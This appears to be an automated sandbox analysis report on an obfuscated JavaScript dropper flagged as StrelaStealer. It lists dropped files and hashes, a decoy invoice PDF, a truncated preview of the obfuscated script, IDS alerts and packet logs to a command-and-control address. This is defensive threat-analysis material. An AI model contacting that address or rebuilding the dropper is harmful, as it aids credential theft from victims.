C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-13 03-06-08-690.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.363625400800054
Encrypted:	false
SSDEEP:	384:OawToetfC1gR8wAxeFY94Ol0YPOLNOWtzojn1t9xI6jVDKmdbC67T+T+L+Azf++H:K9E
MD5:	3BB2EC9CBBECC0E590221DA58E049A90
SHA1:	6A01E4AD680056A5C6C0920628DB70E1CDF7FDDD
SHA-256:	DBA9B9CF4F64C97D32FC83677E80A1D71BD7D1911FD6AACD76EF08E1CD1185C1
SHA-512:	64A56F5F60E17F5812BB0C8895FE34B6C56A659D03585A3291B6354516F2CE48D3795B68D157BD529255FE737470ECDB07C456F1DF0EB9E61CB67E199D3A95BE
Malicious:	false
Preview:	SessionID=4c5af49c-5e97-427b-8c2e-24b875983501.1736755568712 Timestamp=2025-01-13T03:06:08:712-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4c5af49c-5e97-427b-8c2e-24b875983501.1736755568712 Timestamp=2025-01-13T03:06:08:717-0500 ThreadID=7764 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4c5af49c-5e97-427b-8c2e-24b875983501.1736755568712 Timestamp=2025-01-13T03:06:08:717-0500 ThreadID=7764 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4c5af49c-5e97-427b-8c2e-24b875983501.1736755568712 Timestamp=2025-01-13T03:06:08:717-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4c5af49c-5e97-427b-8c2e-24b875983501.1736755568712 Timestamp=2025-01-13T03:06:08:717-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.392857506827071
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rc:w
MD5:	5E097A157C56E46D5FB22325C5E870ED
SHA1:	C7D11EDBC8DD0798BA973C2AB09B451D486A8BF3
SHA-256:	545EE6AFB732BDD5EE46B78C1507CBE0DAEE9ED4C01B183592DC809192B0C0C9
SHA-512:	A022EB9FE66D01E860B45FA37FC1373308AEFC4179AF4740F0EB3E8200B8694106BB673BF720C31E22D20C8EE6534D90DE7C0B1A3187CF0F134C6F2F81B5175B
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\18bf268b-ddd9-43fd-90f8-4c0550313c54.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:GP7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:BB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	CB76E9A61C184BA39F3357E92A06D56D
SHA1:	02E3C29B8BFDA91130E8975E604A5F4ACA9C85E1
SHA-256:	36A3CE95D2D6431192EF083A36D43F98FAE4FD40392D5B29B598548D86183378
SHA-512:	1F82E398F0E6F9E71FA92E3FFB3A252AF5AF6D7D51D2056CBA47D9724F3219856B967944C279EC39E12C172AB922DBA5E005C084DB59CADF7DC0258A2893FB57
Malicious:	false
Preview:	...........}.s.H....W`E.........M9h...q..p......%..!q.p....~..2......DlWtW!)?_.\|....?..?.s.w1.i..G...h6.]..y...p..m.b..N..rr..F..Xc...l.4.."..Q.... hL.p......s...x6..:.....x.~.6.Q..~......~b7..k.l......Yc.G[....hY3...C..n..\|.'6......i4f...,.."...O.b...x..,..jgc..bTn....,u.F..0......V.K,u..p....X.wAap...+.G..v....i.z...E.Rj8.a.r..<@.q.'...!.4..]...\|..3...-.2...`...4..i...w......$0D.....i./a......Z.]..e.mj..c}.?.....o......c...W..+....c...W...?8...n.......U..7..O........@....'...^.z..=.m....o.o<..~....... ...C{......w.m.h.-Q...6.(..uk/w!...Z..n.....p.U........T^w..[....1l...../i......0..1U\|}../xS}.q..B\|.......h>....S....g...A.s6.=.&....~.\.......-N.p...._.xex.....}.r..q$..<.S;l=. ..P..55;....[.}.T......d.p..vd'vl.].DN..o...................D...].......I}.t...D`?..n.A.zT..:@.`S5.K..,R....h...XzT....F..Xt...R...+N.....ee...P...F+C.....dq...r..5..aP.zY....c.f/..Pn...:f.>.Z..s.+.......7...O.C.#..6.....=.K.5{.%6,..Z.....DqZ.4....g-%.p..n...\

C:\Users\user\AppData\Local\Temp\acrocef_low\709e87a2-3638-4f45-9564-5d302017747d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\941d3d84-cb7b-4d68-81e2-10695aaccfad.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bd2488cf-cb08-4ba2-873c-d8ceae900f94.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17747), with CRLF line terminators
Entropy (8bit):	4.9107660350700035
TrID:
File name:	29112223682907312977.js
File size:	21'169 bytes
MD5:	eb9baa085f5f9f41cfdab42cdd845d4e
SHA1:	8f72ddfcbb0248683e9ccdddfa1c000896222159
SHA256:	c3bbb13420311196ef1e4582d4aea0a94b768d46b5da8ad1c219d735c06befa8
SHA512:	f3ed6e8a64019372a8bcb293420f3bc682cf4fc77906cda64d10e9e1c39905cf20207a14ef6a8cc2616502eb300161ad49cab2ca14ffbd285123607f959926b7
SSDEEP:	384:l9JsckWGTbxZYZWbsHACEXjp+k1WirOPLywGoTehhs5hER9Wuzi47MbxItQ/m4yw:lSTd9bs6jp+k1WirOPLywGo3
TLSH:	049232E5DA0ECBEBC9CF10F9255604C02694E6AD8EE860DE355374461981F2721EF3F8
File Content Preview:	function jfkno(){tpzwbnu=[1031,3079,5127,4103,2055,3072];var cbahlkd=this[nhareq+fcacmxbsb+ezldq+hlcqw+weizz+kebkgpa+ilukepw+ygegl](this[qxradl+vprvpci+dixyzy+ezldq+sofrajvj+nhareq+ygegl][bnydohls+ezldq+weizz+fcacmxbsb+ygegl+weizz+mnxbfo+mgyymhskj+hrvjino

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T09:06:05.371011+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-13T09:06:05.371011+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-13T09:06:07.714364+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 09:06:04.523631096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:04.528642893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:04.528805971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:04.531718969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:04.536590099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.370892048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.370914936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.370927095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.370932102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.370943069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.370954037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.370965958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.370976925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.370989084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.371000051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.371011019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.371097088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.371097088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.375848055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.417541981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.430690050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.430711031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.430723906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.430802107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.499878883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.499903917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.499918938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.499934912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.499948025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.499963999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.500001907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.500071049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.500386953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.500397921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.500411987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.500454903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.500823975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.500839949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.500854969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.500869989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.500876904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.500906944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.501533985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.501550913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.501565933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.501580000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.501580954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.501597881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.501605034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.501646996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.502340078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.502360106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.502382040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.502410889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.542459965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.746582985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.746606112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.746618986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.746715069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.746740103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.746786118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.747267962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747283936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747301102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747322083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.747337103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747356892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.747395039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747410059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747425079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747430086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.747440100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747457981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.747462988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747478008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747493029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747495890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.747508049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747523069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747524023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.747538090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747554064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747555017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.747581005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747585058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.747596979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747612000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747634888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.747637033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747652054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747665882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747673035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.747682095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747699022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747701883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.747714043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747730970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.747739077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747769117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.747982025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.747997999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.748013020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.748028994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.748032093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.748049021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.748553991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.748569012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.748591900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.748591900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.748610020 CET	80	49730	193.143.1.205	192.168.2.4
